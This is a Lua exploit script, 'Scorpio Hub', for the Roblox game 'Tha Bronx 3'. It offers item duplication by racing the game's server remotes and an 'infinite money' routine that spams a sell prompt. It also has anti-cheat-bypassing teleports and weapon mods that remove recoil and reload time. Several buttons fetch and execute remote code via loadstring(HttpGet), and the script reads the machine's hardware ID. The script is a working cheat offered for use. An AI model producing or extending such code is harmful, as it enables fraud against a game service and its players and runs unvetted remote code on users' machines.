local Rayfield = loadstring(game:HttpGet('https://[Log in to view URL]'))()
local executor = identifyexecutor and identifyexecutor() or "Unknown Executor"

local customTheme = {
   TextColor = Color3.fromRGB(255, 0, 0), -- Letras negras, muy legibles
   Background = Color3.fromRGB(0, 0, 0), -- Cian más suave
   Topbar = Color3.fromRGB(0, 0, 0),
   Shadow = Color3.fromRGB(255, 0, 0),
   NotificationBackground = Color3.fromRGB(0, 0, 0),
   NotificationActionsBackground = Color3.fromRGB(0, 0, 0),
   TabBackground = Color3.fromRGB(0, 0, 0),
   TabStroke = Color3.fromRGB(255, 0, 0),
   TabBackgroundSelected = Color3.fromRGB(0, 0, 0),
   TabTextColor = Color3.fromRGB(255, 0, 0),
   SelectedTabTextColor = Color3.fromRGB(255, 0, 0),
   ElementBackground = Color3.fromRGB(0, 0, 0),
   ElementBackgroundHover = Color3.fromRGB(0, 0, 0),
   SecondaryElementBackground = Color3.fromRGB(0, 0, 0),
   ElementStroke = Color3.fromRGB(255, 0, 0),
   SecondaryElementStroke = Color3.fromRGB(255, 0, 0),
   SliderBackground = Color3.fromRGB(0, 0, 0),
   SliderProgress = Color3.fromRGB(255, 0, 0),
   SliderStroke = Color3.fromRGB(255, 0, 0),
   ToggleBackground = Color3.fromRGB(0, 0, 0),
   ToggleEnabled = Color3.fromRGB(255, 0, 0),
   ToggleDisabled = Color3.fromRGB(80, 80, 80),
   ToggleEnabledStroke = Color3.fromRGB(255, 0, 0),
   ToggleDisabledStroke = Color3.fromRGB(255, 0, 0),
   ToggleEnabledOuterStroke = Color3.fromRGB(255, 0, 0),
   ToggleDisabledOuterStroke = Color3.fromRGB(255, 0, 0),
   DropdownSelected = Color3.fromRGB(0, 0, 0),
   DropdownUnselected = Color3.fromRGB(0, 0, 0),
   InputBackground = Color3.fromRGB(0, 0, 0),
   InputStroke = Color3.fromRGB(255, 0, 0),
   PlaceholderColor = Color3.fromRGB(50, 50, 50),
   KeyInputBackground = Color3.fromRGB(255, 0, 0),
   KeyInputTextColor = Color3.fromRGB(255, 0, 0)
}



local Window = Rayfield:CreateWindow({
   Name = "Scorpio Hub| Free Tha Bronx 3| " .. executor,
   Icon = nil,
   LoadingTitle = "LOADING...",
   LoadingSubtitle = "By Scorpio",
   Theme = customTheme,
   DisableRayfieldPrompts = false,
   DisableBuildWarnings = false,
   ConfigurationSaving = {
      Enabled = false,
      FolderName = "RedBlackThemeHub",
      FileName = "ScorpioHub"
   },
   Discord = {
      Enabled = false,
      Invite = "https://[Log in to view URL]",
      RememberJoins = true
   },
   KeySystem = false,
   KeySettings = {
      Title = "",
      Subtitle = "Authentication Required",
      Note = "Get your key at: discord.gg/TfkXe4MGf7",
      FileName = "Sh_hub_key",
      SaveKey = true,
      GrabKeyFromSite = false,
      Key = {""},
      Theme = customTheme
   }
})

task.wait(1)

local RayfieldGui = game:GetService("CoreGui"):FindFirstChild("Rayfield")

if RayfieldGui then
    local Background = Instance.new("ImageLabel")
    Background.Name = "CustomBackground"
    Background.Parent = RayfieldGui

    Background.Size = UDim2.new(1, 0, 1, 0)
    Background.Position = UDim2.new(0, 0, 0, 0)

    Background.Image = "rbxassetid://81817688420352"
    Background.BackgroundTransparency = 1
    Background.ImageTransparency = 1 -- lower = more visible

    Background.ScaleType = Enum.ScaleType.Crop
    Background.ZIndex = -2
end

local HomeTab = Window:CreateTab("Home", "scan-face")
local HomeSection = HomeTab:CreateSection("Welcome!")


HomeTab:CreateParagraph({Title = "Welcome!", Content = "Thank you for using Scorpio Hub."})

HomeTab:CreateSection("User Information")

local player = game.Players.LocalPlayer
local username = player.Name
HomeTab:CreateLabel("Player: " .. username)

local userId = player.UserId
HomeTab:CreateLabel("User Id: " .. userId)

HomeTab:CreateSection("Game and Executor")

local gameName = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name
HomeTab:CreateLabel("Game: " .. gameName)

local executor = identifyexecutor and identifyexecutor() or "Unknown Executor"
HomeTab:CreateLabel("Executor: " .. executor)

HomeTab:CreateSection("Hardware")

local function getHWID()
    if syn and syn.request then
        return syn.crypt and syn.crypt.hash or "Synapse HWID Unavailable"
    elseif identifyexecutor and identifyexecutor():lower():find("scriptware") then
        return "ScriptWare HWID is not publicly accessible"
    elseif gethwid then
        return gethwid()
    elseif fluxus and fluxus.gethwid then
        return fluxus.gethwid()
    elseif isexecutorenv and isexecutorenv() then
        return getgenv().KRNL_ID or "KRNL HWID Unavailable"
    end
    return "Not Supported"
end

local hwid = getHWID()
HomeTab:CreateLabel("HWID: " .. hwid)

HomeTab:CreateSection("Date + Time")

local currentDate = os.date("%Y-%m-%d")
HomeTab:CreateLabel("Date: " .. currentDate)

local currentTime = os.date("%H:%M:%S")
HomeTab:CreateLabel("Time: " .. currentTime)

HomeTab:CreateSection("Credits")

HomeTab:CreateButton({
    Name = "Join Discord!", 
    Callback = function()
        if setclipboard then
            setclipboard("https://[Log in to view URL]")
            print("Copied to clipboard!")
        else
            print("Your executor does not support setclipboard.")
        end

        Rayfield:Notify({
            Title = "Link Copied!",
            Content = "The Discord link has been copied to your clipboard.",
            Duration = 8.5
        })
    end,
})

HomeTab:CreateLabel("Credits: zayscorpiohub")

local MainTab = Window:CreateTab("Main", "box")

local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer

local MainSection1 = MainTab:CreateSection("Dupe V2")

v12 = 0
v13 = 35

function teleport(x, y, z)

    local seat
    local targetPosition = Vector3.new(-1487.578369140625, 251.75901794433594, -408.8100891113281)
    for _, obj in pairs(workspace["1# Map"].RandomStuff:GetDescendants()) do
        if obj:IsA("Seat") and (obj.Position - targetPosition).Magnitude < 1 then
            seat = obj
            break
        end
    end
    if not seat then
        for _, obj in pairs(workspace["1# Map"].RandomStuff:GetDescendants()) do
            if obj:IsA("Seat") then
                seat = obj
                break
            end
        end
    end

    if seat and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart") and game.Players.LocalPlayer.Character:FindFirstChild("Humanoid") then
        local rootPart = game.Players.LocalPlayer.Character.HumanoidRootPart
        local humanoid = game.Players.LocalPlayer.Character.Humanoid
        local originalPosition = seat.CFrame

        seat.CFrame = rootPart.CFrame
        task.wait(2.6)
        seat:Sit(humanoid)
        task.wait(2.6)
        seat.CFrame = CFrame.new(x, y - 1, z)
        task.wait(0.6)
        humanoid.Sit = false
        humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
        task.wait(0.000000000000000000000000001)
        seat.CFrame = CFrame.new(originalPosition.X, originalPosition.Y - 100, originalPosition.Z)
    end

    wait(0.5)
end

MainTab:CreateButton({
    Name = "🎒 GUN DUPE (MANUAL DUPE)",
    Callback = function()
        pcall(function()
            loadstring(game:HttpGet("https://[Log in to view URL]"))()
        end)
    end
})

-- Animation IDs
local Emotes = {
    ["Dance 1"] = "507771019",
    ["Dance 2"] = "507776043",
    ["Dance 3"] = "507777268",
    ["Laugh"] = "507770818",
    ["Cheer"] = "507770677",
    ["Zombie"] = "616006778",
    ["Stylish"] = "616136790",
    ["Robot"] = "616088211",
}

local currentAnim

local function playEmote(animId)
    local character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
    local humanoid = character:WaitForChild("Humanoid")

    -- Stop old animation
    if currentAnim then
        currentAnim:Stop()
        currentAnim:Destroy()
    end

    local animation = Instance.new("Animation")
    animation.AnimationId = "rbxassetid://" .. animId

    currentAnim = humanoid:LoadAnimation(animation)
    currentAnim:Play()
end

-- Dropdown
MainTab:CreateDropdown({
    Name = "Select Emote",
    Options = {"Dance 1","Dance 2","Dance 3","Laugh","Cheer","Zombie","Stylish","Robot"},
    CurrentOption = {"Dance 1"},
    MultipleOptions = false,
    Flag = "EmoteSelect",
    Callback = function(Option)
        selectedEmote = Option[1]
    end,
})

selectedEmote = "Dance 1"

-- Play Button
MainTab:CreateButton({
    Name = "Play Emote",
    Callback = function()
        playEmote(Emotes[selectedEmote])
    end,
})

-- Stop Button
MainTab:CreateButton({
    Name = "Stop Emote",
    Callback = function()
        if currentAnim then
            currentAnim:Stop()
        end
    end,
})

MainTab:CreateButton({
    Name = "🎒 AUTO GUN DUPE (OPEN MENU)",
    Callback = function()
        pcall(function()
            loadstring(game:HttpGet("https://[Log in to view URL]"))()
        end)
    end
})

local lastDupeTime = 0

MainTab:CreateButton({
    Name = "🎒 GUN DUPE (TRUNK METHOD) ",
    Callback = function()
        Rayfield:Notify({
            Title = "Trunk Dupe",
            Content = "Duping...",
            Duration = 3
        })

        local currentTime = tick()
        if currentTime - lastDupeTime < 30 then
            Rayfield:Notify({
                Title = "Cooldownn.",
                Content = "35 Seconds Left",
                Duration = 3
            })
            return
        end
        lastDupeTime = currentTime

        game:GetService("RunService").RenderStepped:Connect(function()
            for _, gui in pairs(game.Players.LocalPlayer.PlayerGui:GetChildren()) do
                if gui:IsA("ScreenGui") then
                    for _, obj in pairs(gui:GetDescendants()) do
                        if obj:IsA("TextLabel") or obj:IsA("TextButton") then
                            local text = obj.Text:gsub("%s+", " "):lower()
                            if text:match("can't access safe!") then
                                obj:Destroy()
                            end
                        end
                    end
                end
            end
        end)

        local ReplicatedStorage = cloneref(game:GetService("ReplicatedStorage"))
        local Players = cloneref(game:GetService("Players"))
        local InventoryRemote = ReplicatedStorage:WaitForChild("Inventory")
        local BackpackRemote = ReplicatedStorage:WaitForChild("BackpackRemote")
        local TrunkStorage = ReplicatedStorage:WaitForChild("TrunkStorage")

        local function GetCharacter()
            return Players.LocalPlayer and Players.LocalPlayer.Character
        end

        local character = GetCharacter()
        if character and character:FindFirstChildOfClass("Tool") then
            local gunTool = character:FindFirstChildOfClass("Tool")
            local gunName = gunTool.Name

            local humanoid = character:FindFirstChildOfClass("Humanoid")
            if humanoid then humanoid:UnequipTools() end

            local car = getcar()
            if not car or not car:FindFirstChild("Body") or not car.Body:FindFirstChild("TrunckStorage") then
                return Rayfield:Notify({
                    Title = "Error",
                    Content = "No Car found",
                    Duration = 5
                })
            end

            local hrp = character:FindFirstChild("HumanoidRootPart")
            if hrp then
                hrp.CFrame = car.Body.TrunckStorage.CFrame + Vector3.new(2, 0, 0)
            end

            task.wait(0.5)

            task.spawn(function()
                BackpackRemote:InvokeServer("Store", gunName)
            end)

            task.spawn(function()
                TrunkStorage:FireServer("Store", gunName)
            end)

            task.wait(0.5)

            task.spawn(function()
                InventoryRemote:FireServer("Change", gunName, "Backpack", nil)
            end)

            task.wait(1.5)
            BackpackRemote:InvokeServer("Grab", gunName)

            task.wait(0.5)
        else
            Rayfield:Notify({
                Title = "Tool Not Found",
                Content = "You must equip a Tool before duping",
                Duration = 5
            })
        end
    end
})

MainTab:CreateButton({
    Name = "Spawn Vehicle",
    Callback = function()
        local InsertService = game:GetService("InsertService")
        local Players = game:GetService("Players")

        local player = Players.LocalPlayer
        local character = player.Character or player.CharacterAdded:Wait()
        local hrp = character:WaitForChild("HumanoidRootPart")

        local assetId = 1379706428

        local success, model = pcall(function()
            return InsertService:LoadAsset(assetId)
        end)

        if success and model then
            local obj = model:GetChildren()[1]

            if obj then
                obj.Parent = workspace

                -- Move in front of player
                if obj:IsA("Model") then
                    if not obj.PrimaryPart then
                        obj.PrimaryPart = obj:FindFirstChildWhichIsA("BasePart")
                    end

                    if obj.PrimaryPart then
                        obj:SetPrimaryPartCFrame(hrp.CFrame * CFrame.new(0, 0, -15))
                    end
                elseif obj:IsA("BasePart") then
                    obj.CFrame = hrp.CFrame * CFrame.new(0, 0, -15)
                end
            end
        else
            warn("Failed to load asset:", assetId)
        end
    end
})

local MainSection1 = MainTab:CreateSection("Money Vulnerability")

MainTab:CreateParagraph({
    Title = "Infinite Money Guide",
    Content = "Buy Items Teleport To Cook Pot When done Cooking Click Infinite Money"
})

local player = game.Players.LocalPlayer
local humanoidRootPart


player.CharacterAdded:Connect(function(char)
    humanoidRootPart = char:WaitForChild("HumanoidRootPart", 10)
end)

if player.Character then
    humanoidRootPart = player.Character:FindFirstChild("HumanoidRootPart")
end

local function updateCharacterReferences()
    local character = player.Character or player.CharacterAdded:Wait()
    humanoidRootPart = character:WaitForChild("HumanoidRootPart", 5)
end

updateCharacterReferences()

local function teleportToCookingSpot()
    local cookingPos = Vector3.new(-1605.9183349609375, 254.04150390625, -488.43804931640625)

    updateCharacterReferences()

    local humanoid = humanoidRootPart and humanoidRootPart.Parent:FindFirstChild("Humanoid")
    if not humanoid then return end

    getgenv().SwimMethod = true

    humanoid:ChangeState(0)
    repeat task.wait(0.0001) until not player:GetAttribute("LastACPos")

    humanoidRootPart.CFrame = CFrame.new(cookingPos)

    task.wait()
    humanoid:ChangeState(2)

    getgenv().SwimMethod = false

    Rayfield:Notify({
        Title = "Teleported",
        Content = "Teleported to Cookin Spot",
        Duration = 5,
    })
end

local Button = MainTab:CreateButton({
    Name = "Cook pot (Teleport To Cook)",
    Callback = function()
        teleportToCookingSpot()
    end,
})

local Button1 = MainTab:CreateButton({
    Name = "FijiWater (Buy Item)",
    Callback = function()
        game:GetService("ReplicatedStorage").ExoticShopRemote:InvokeServer("FijiWater")
    end
})

local Button2 = MainTab:CreateButton({
    Name = "FreshWater (Buy Item)",
    Callback = function()
        game:GetService("ReplicatedStorage").ExoticShopRemote:InvokeServer("FreshWater")
    end
})

local Button3 = MainTab:CreateButton({
    Name = "Ice-Fruit Cupz (Buy Item)",
    Callback = function()
        game:GetService("ReplicatedStorage").ExoticShopRemote:InvokeServer("Ice-Fruit Cupz")
    end
})

local Button4 = MainTab:CreateButton({
    Name = "Ice-Fruit Bag (Buy Item)",
    Callback = function()
        game:GetService("ReplicatedStorage").ExoticShopRemote:InvokeServer("Ice-Fruit Bag")
    end
})

-- BUTTON
MainTab:CreateButton({
    Name = "TP To Get Infinit Money",

    Callback = function()

        local player = game.Players.LocalPlayer
        local StarterGui = game:GetService("StarterGui")
        local camera = game.Workspace.CurrentCamera
        local humanoidRootPart = player.Character and player.Character:FindFirstChild("HumanoidRootPart")

        local originalCameraType = camera.CameraType
        local originalFieldOfView = camera.FieldOfView
        local originalCameraShake = camera:FindFirstChild("CameraShake")
        local cameraShakeBackup = originalCameraShake and originalCameraShake.Value or nil

        local function GetCharacter()
            return player and player.Character
        end

        getgenv().SwimMethod = false

        local function enableSwimMethod()
            getgenv().SwimMethod = true
            task.wait(1)
        end

        local function disableSwimMethod()
            getgenv().SwimMethod = false
        end

        local function SwimBypassTeleport(destinationCFrame)
            local character = GetCharacter()
            if not character or not character:FindFirstChild("HumanoidRootPart") then return end

            local HRP = character.HumanoidRootPart

            enableSwimMethod()
            task.wait(0.25)

            HRP.CFrame = destinationCFrame + Vector3.new(2, 0, 0)

            task.delay(0.25, function()
                disableSwimMethod()
            end)
        end

        local tool = player.Backpack:FindFirstChild("Ice-Fruit Cupz")
        if tool then
            player.Character.Humanoid:EquipTool(tool)
        else
            Rayfield:Notify({
                Title = "No Ice-Fruit Cupz",
                Content = "Ice-Fruit Cupz' not found in backpack",
                Duration = 5,
            })
            return
        end

        local blackScreen = Instance.new("ScreenGui")
        blackScreen.IgnoreGuiInset = true
        blackScreen.Parent = game:GetService("CoreGui")

        local frame = Instance.new("Frame", blackScreen)
        frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
        frame.Size = UDim2.new(1, 0, 1, 0)
        frame.Position = UDim2.new(0, 0, 0, 0)
        frame.BorderSizePixel = 0
        frame.Visible = true

        local imageLabel = Instance.new("ImageLabel", frame)
        imageLabel.Size = UDim2.new(0.8, 0, 0.8, 0)
        imageLabel.Position = UDim2.new(0.1, 0, 0.1, 0)
        imageLabel.BackgroundTransparency = 1
        imageLabel.Image = "118675319260087"
        imageLabel.ScaleType = Enum.ScaleType.Fit

        if not player or not player.Character or not player.Character:FindFirstChild("HumanoidRootPart") then return end
        local originalCFrame = player.Character.HumanoidRootPart.CFrame

        task.wait(0.5)

        local targetCFrame = CFrame.new(-69.82200622558594, 287.0635986328125, -319.79437255859375)
        SwimBypassTeleport(targetCFrame)

        task.wait(0.5)

        local cameraOffset = Vector3.new(0, 5, 5)
        local angleOffset = Vector3.new(0, -1, 0)

        camera.CameraType = Enum.CameraType.Scriptable

        getgenv().cameraFollowConnection = game:GetService("RunService").Heartbeat:Connect(function()
            if humanoidRootPart then
                local characterPos = humanoidRootPart.Position
                camera.CFrame = CFrame.new(characterPos + cameraOffset + angleOffset, characterPos + Vector3.new(0, 3, 0))
            end
        end)

        getgenv().instantPrompts = true

        local iceFruitSellPrompt = workspace:WaitForChild("IceFruit Sell"):WaitForChild("ProximityPrompt")
        if iceFruitSellPrompt then
            iceFruitSellPrompt.HoldDuration = 0
            iceFruitSellPrompt.MaxActivationDistance = 6

            getgenv().updateConnection = game:GetService("RunService").Heartbeat:Connect(function()
                if getgenv().instantPrompts and iceFruitSellPrompt.Enabled then
                    for _ = 1, 300 do
                        iceFruitSellPrompt:InputHoldBegin()
                        iceFruitSellPrompt:InputHoldEnd()
                    end
                end
            end)
        end

        task.spawn(function()
            task.wait(1)

            getgenv().instantPrompts = false

            if getgenv().updateConnection then
                getgenv().updateConnection:Disconnect()
                getgenv().updateConnection = nil
            end

            if iceFruitSellPrompt then
                iceFruitSellPrompt.HoldDuration = 1
                iceFruitSellPrompt.MaxActivationDistance = 4
            end

            enableSwimMethod()
            task.wait(0.5)
            SwimBypassTeleport(originalCFrame)
            task.wait(0.5)
            disableSwimMethod()

            if getgenv().cameraFollowConnection then
                getgenv().cameraFollowConnection:Disconnect()
                getgenv().cameraFollowConnection = nil
            end

            camera.CameraType = originalCameraType
            camera.FieldOfView = originalFieldOfView

            if originalCameraShake then
                originalCameraShake.Value = cameraShakeBackup
            end

            blackScreen:Destroy()

            Rayfield:Notify({
                Title = "Money vulnerability",
                Content = "Done Generating money",
                Duration = 5,
            })
        end)
    end
})

local MainSection1 = MainTab:CreateSection("QuickShop")

MainTab:CreateButton({
    Name = "Purchase Bandage",
    Callback = function()
        local ohString1 = "Bandage"
        game:GetService("ReplicatedStorage").ExoticShopRemote:InvokeServer(ohString1)
    end,
})

MainTab:CreateButton({
    Name = "Purchase Gloves",
    Callback = function()
        local ohString1 = "YelloCamoGloves"
        game:GetService("ReplicatedStorage").ShopRemote:InvokeServer(ohString1)
    end,
})

MainTab:CreateButton({
    Name = "Purchase Extended",
    Callback = function()
        local ohString1 = ".Extended"
    game:GetService("ReplicatedStorage").ExoticShopRemote:InvokeServer(ohString1)
        end
    })

MainTab:CreateButton({
    Name = "Purchase Drum",
    Callback = function()
        local ohString1 = ".Drum"
        game:GetService("ReplicatedStorage").ExoticShopRemote:InvokeServer(ohString1)
    end,
})

MainTab:CreateButton({
    Name = "Purchase 5.56",
    Callback = function()
        local ohString1 = "5.56"
        game:GetService("ReplicatedStorage").ExoticShopRemote:InvokeServer(ohString1)
    end,
})

MainTab:CreateButton({
    Name = "Purchase 7.62",
    Callback = function()
            local args = {
        [1] = "7.62"
    }
    
    game:GetService("ReplicatedStorage"):WaitForChild("ExoticShopRemote"):InvokeServer(unpack(args))
        end
    })


MainTab:CreateSection("Teleports")

local teleportLocations = {
    {Name = "Dripstore👕", Position = Vector3.new(67459, 10489, 551)},
    {Name = "Bank🏦", Position = Vector3.new(-222.50, 283.81, -1201.06)},
    {Name = "Ice Box💎", Position = Vector3.new(-193, 284, -1169)},
    {Name = "Bank tools / Roof💰", Position = Vector3.new(-384, 340, -557)},
    {Name = "New Clean Money", Position = Vector3.new(-987.11, 253.72, -685.13)},
    {Name = "MarGreens", Position = Vector3.new(-336.8796691894531, 254.45382690429688, -394.1875)},
    {Name = "Hospital", Position = Vector3.new(-1590.833251953125, 254.272216796875, 18.926502227783203)},
    {Name = "Gunstore 1🔫", Position = Vector3.new(92984, 122099, 17236)},
    {Name = "Gunstore 2🔫", Position = Vector3.new(66192.453, 123615.711, 5744.736)},
    {Name = "Gunstore 3🔫", Position = Vector3.new(72425, 128856, -1082)},
    {Name = "Gunstore 4🔫", Position = Vector3.new(60822, 87609, -352)},
    {Name = "Pawnshop💈", Position = Vector3.new(-1051, 254, -815)},
    {Name = "New McDonals🧺", Position = Vector3.new(-437.16, 253.91, -955.08)},
    {Name = "Backpack🎒", Position = Vector3.new(-727.82, 253.92, -695.95)},
    {Name = "Studios", Position = Vector3.new(93426.23 + 2, 14484.71, 561.80)},
    {Name = "Penthouse Cook Pot🏠", Position = Vector3.new(-179.34, 397.14, -589.93)},
    {Name = "Penthouse🏚️", Position = Vector3.new(-163, 397, -594)},
    {Name = "Dollar Central💸", Position = Vector3.new(-389, 254, -1082)},
    {Name = "Dealership🚗", Position = Vector3.new(-389, 253, -1232)},
    {Name = "Safe Items", Position = Vector3.new(1061.67, 254.51, -1017.37)},
}

-- Teleport function with seat bypass
function teleport(x, y, z)
    local seat
    local targetPosition = Vector3.new(-1487.578369140625, 251.75901794433594, -408.8100891113281)

    for _, obj in pairs(workspace["1# Map"].RandomStuff:GetDescendants()) do
        if obj:IsA("Seat") and (obj.Position - targetPosition).Magnitude < 1 then
            seat = obj
            break
        end
    end

    if not seat then
        for _, obj in pairs(workspace["1# Map"].RandomStuff:GetDescendants()) do
            if obj:IsA("Seat") then
                seat = obj
                break
            end
        end
    end

    local player = game.Players.LocalPlayer
    if seat and player.Character and player.Character:FindFirstChild("HumanoidRootPart") and player.Character:FindFirstChild("Humanoid") then
        local rootPart = player.Character.HumanoidRootPart
        local humanoid = player.Character.Humanoid
        local originalPosition = seat.CFrame

        seat.CFrame = rootPart.CFrame
        task.wait(0.6)
        seat:Sit(humanoid)
        task.wait(0.6)
        seat.CFrame = CFrame.new(x, y - 1, z)
        task.wait(0.6)
        humanoid.Sit = false
        humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
        task.wait(0.000000000000000000000000001)
        seat.CFrame = CFrame.new(originalPosition.X, originalPosition.Y - 100, originalPosition.Z)
    end

    wait(0.5)
    destroyScreenGui()
end


local selectedTeleport = teleportLocations[1]

local locationNames = {}
for _, location in ipairs(teleportLocations) do
    table.insert(locationNames, location.Name)
end

MainTab:CreateDropdown({
    Name = "Teleports",
    Options = locationNames,
    CurrentOption = {locationNames[1]},
    MultipleOptions = false,
    Flag = "TeleportDropdown",
    Callback = function(Options)
        for _, location in ipairs(teleportLocations) do
            if location.Name == Options[1] then
                selectedTeleport = location
                break
            end
        end
    end
})

MainTab:CreateButton({
    Name = "Teleport To Location",
    Callback = function()
        if selectedTeleport then
            teleport(selectedTeleport.Position.X, selectedTeleport.Position.Y, selectedTeleport.Position.Z)
        end
    end
})

local MainSection = MainTab:CreateSection("miscellaneous")

local function teleport(x, y, z)

    local seat
    local targetPosition = Vector3.new(-1487.578, 251.759, -408.810)

    for _, obj in pairs(workspace["1# Map"].RandomStuff:GetDescendants()) do
        if obj:IsA("Seat") and (obj.Position - targetPosition).Magnitude < 1 then
            seat = obj
            break
        end
    end

    if not seat then
        for _, obj in pairs(workspace["1# Map"].RandomStuff:GetDescendants()) do
            if obj:IsA("Seat") then
                seat = obj
                break
            end
        end
    end

    local character = player.Character
    local rootPart = character and character:FindFirstChild("HumanoidRootPart")
    local humanoid = character and character:FindFirstChild("Humanoid")

    if seat and rootPart and humanoid then
        local originalPosition = seat.CFrame

        seat.CFrame = rootPart.CFrame
        task.wait(0.6)
        seat:Sit(humanoid)
        task.wait(0.6)
        seat.CFrame = CFrame.new(x, y - 1, z)
        task.wait(0.6)
        humanoid.Sit = false
        humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
        task.wait(0.01)
        seat.CFrame = CFrame.new(originalPosition.X, originalPosition.Y - 100, originalPosition.Z)
    end

    task.wait(0.5)
    destroyScreenGui()
end

MainTab:CreateButton({
    Name = "Clean Money",
    Callback = function()
        teleport(-990, 254, -686)
    end,
})

function teleport(x, y, z)

    local seat
    local targetPosition = Vector3.new(-1487.578369140625, 251.75901794433594, -408.8100891113281)

    for _, obj in pairs(workspace["1# Map"].RandomStuff:GetDescendants()) do
        if obj:IsA("Seat") and (obj.Position - targetPosition).Magnitude < 1 then
            seat = obj
            break
        end
    end

    if not seat then
        for _, obj in pairs(workspace["1# Map"].RandomStuff:GetDescendants()) do
            if obj:IsA("Seat") then
                seat = obj
                break
            end
        end
    end

    local player = game.Players.LocalPlayer
    local character = player.Character
    local rootPart = character and character:FindFirstChild("HumanoidRootPart")
    local humanoid = character and character:FindFirstChild("Humanoid")

    if seat and rootPart and humanoid then
        local originalPosition = seat.CFrame

        seat.CFrame = rootPart.CFrame
        task.wait(0.6)
        seat:Sit(humanoid)
        task.wait(0.6)
        seat.CFrame = CFrame.new(x, y - 1, z)
        task.wait(0.6)
        humanoid.Sit = false
        humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
        task.wait(1e-27)
        seat.CFrame = CFrame.new(originalPosition.X, originalPosition.Y - 100, originalPosition.Z)
    end

    task.wait(0.5)
    destroyScreenGui()
end

MainTab:CreateButton({
    Name = "Teleport to Closest Safe",
    Callback = function()
        teleport(-159, 295, -1010)
    end,
})

function teleportBypass(x, y, z)
    local player = game.Players.LocalPlayer
    local char = player.Character or player.CharacterAdded:Wait()
    local root = char:FindFirstChild("HumanoidRootPart")
    local humanoid = char:FindFirstChild("Humanoid")
    if not root or not humanoid then return end

    local seat
    local targetPosition = Vector3.new(-1487.578369140625, 251.75901794433594, -408.8100891113281)

    for _, obj in pairs(workspace["1# Map"].RandomStuff:GetDescendants()) do
        if obj:IsA("Seat") and (obj.Position - targetPosition).Magnitude < 1 then
            seat = obj
            break
        end
    end
    if not seat then
        for _, obj in pairs(workspace["1# Map"].RandomStuff:GetDescendants()) do
            if obj:IsA("Seat") then
                seat = obj
                break
            end
        end
    end

    if seat then
        local originalCFrame = seat.CFrame
        seat.CFrame = root.CFrame
        task.wait(0.6)
        seat:Sit(humanoid)
        task.wait(0.6)
        seat.CFrame = CFrame.new(x, y - 1, z)
        task.wait(0.6)
        humanoid.Sit = false
        humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
        task.wait(1e-27)
        seat.CFrame = CFrame.new(originalCFrame.X, originalCFrame.Y - 100, originalCFrame.Z)
    end
    wait(0.5)
    destroyBlackout()
end

function placeToolInSafe()
    local player = game.Players.LocalPlayer
    local tool = player.Character and player.Character:FindFirstChildOfClass("Tool")
    if not tool then
        Rayfield:Notify({
            Title = "Error",
            Content = "No tool equipped!",
            Duration = 5,
            Image = 4483345998,
        })
        return
    end

    local backpackRemote = game.ReplicatedStorage:FindFirstChild("BackpackRemote")
    local inventory = game.ReplicatedStorage:FindFirstChild("Inventory")
    local safe = workspace["1# Map"]["2 Crosswalks"].Safes:FindFirstChild("Safe")
    if not backpackRemote or not inventory or not safe then return end

    local originalCFrame = player.Character:FindFirstChild("HumanoidRootPart").CFrame
    local safePart = safe:FindFirstChildWhichIsA("BasePart")
    if not safePart then return end

    player.Character:FindFirstChildOfClass("Humanoid"):UnequipTools()

    teleportBypass(safePart.Position.X, safePart.Position.Y, safePart.Position.Z)
    task.wait(1)

    task.spawn(function()
        backpackRemote:InvokeServer("Store", tool.Name)
    end)
    task.spawn(function()
        inventory:FireServer("Change", tool.Name, "Backpack", safe)
    end)

    wait(2)

    teleportBypass(originalCFrame.X, originalCFrame.Y, originalCFrame.Z)

    Rayfield:Notify({
        Title = "Success",
        Content = "Tool successfully stored in safe!",
        Duration = 5,
        Image = 4483345998,
    })
end

MainTab:CreateButton({
    Name = "Store Item in Safe",
    Callback = function()
        placeToolInSafe()
    end,
})

MainTab:CreateButton({
    Name = "Open / Close Market",
    Callback = function()
        local player = game:GetService("Players").LocalPlayer
        local playerGui = player:WaitForChild("PlayerGui")

        local marketGui = playerGui:FindFirstChild("Bronx Market 2")
        if marketGui then
            if marketGui:IsA("ScreenGui") then
                marketGui.Enabled = true
            elseif marketGui:IsA("GuiObject") then
                marketGui.Visible = true
            end
        else
            Rayfield:Notify({
                Title = "Error",
                Content = "'Bronx Market 2' GUI not found!",
                Duration = 4,
                Image = 4483345998,
            })
        end
    end,
})

local CombatTab = Window:CreateTab("Combat", "swords")
CombatTab:CreateSection("Weapon Modifications")

CombatTab:CreateToggle({
    Name = "Thick Bullets",
    CurrentValue = false,
    Callback = function(Value)
    end
})

CombatTab:CreateToggle({
    Name = "Instant Equip",
    CurrentValue = false,
    Callback = function(Value)
        local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Setting") then
            local setting = require(tool.Setting)
            if Value then
                setting.EquipTime = 0
            else
                setting.EquipTime = 0
            end
        end
    end
})

CombatTab:CreateToggle({
    Name = "Instant Reload",
    CurrentValue = false,
    Callback = function(Value)
        local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Setting") then
            local setting = require(tool.Setting)

            if Value then
                setting.ReloadTime = 0
            else
                setting.ReloadTime = 1.5 
            end
        end
    end
})

CombatTab:CreateToggle({
    Name = "Unjam",
    CurrentValue = false,
    Callback = function(Value)
        local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Setting") then
            local setting = require(tool.Setting)
            if Value then
                setting.JamChance = 0
            else
                setting.JamChance = 0.1
            end
        end
    end
})

CombatTab:CreateToggle({
    Name = "No Recoil",
    CurrentValue = false,
    Callback = function(Value)
        local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Settings") then
            local settings = require(tool.Settings)
            settings.Recoil = Value and 0 or 1
        end
    end
})

CombatTab:CreateToggle({
    Name = "Automatic Gun",
    Callback = function()
        local tool = game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool")
        if tool and tool:FindFirstChild("Setting") then
            require(tool.Setting).Auto = true
            print("Gun set to Automatic")
        end
    end
})

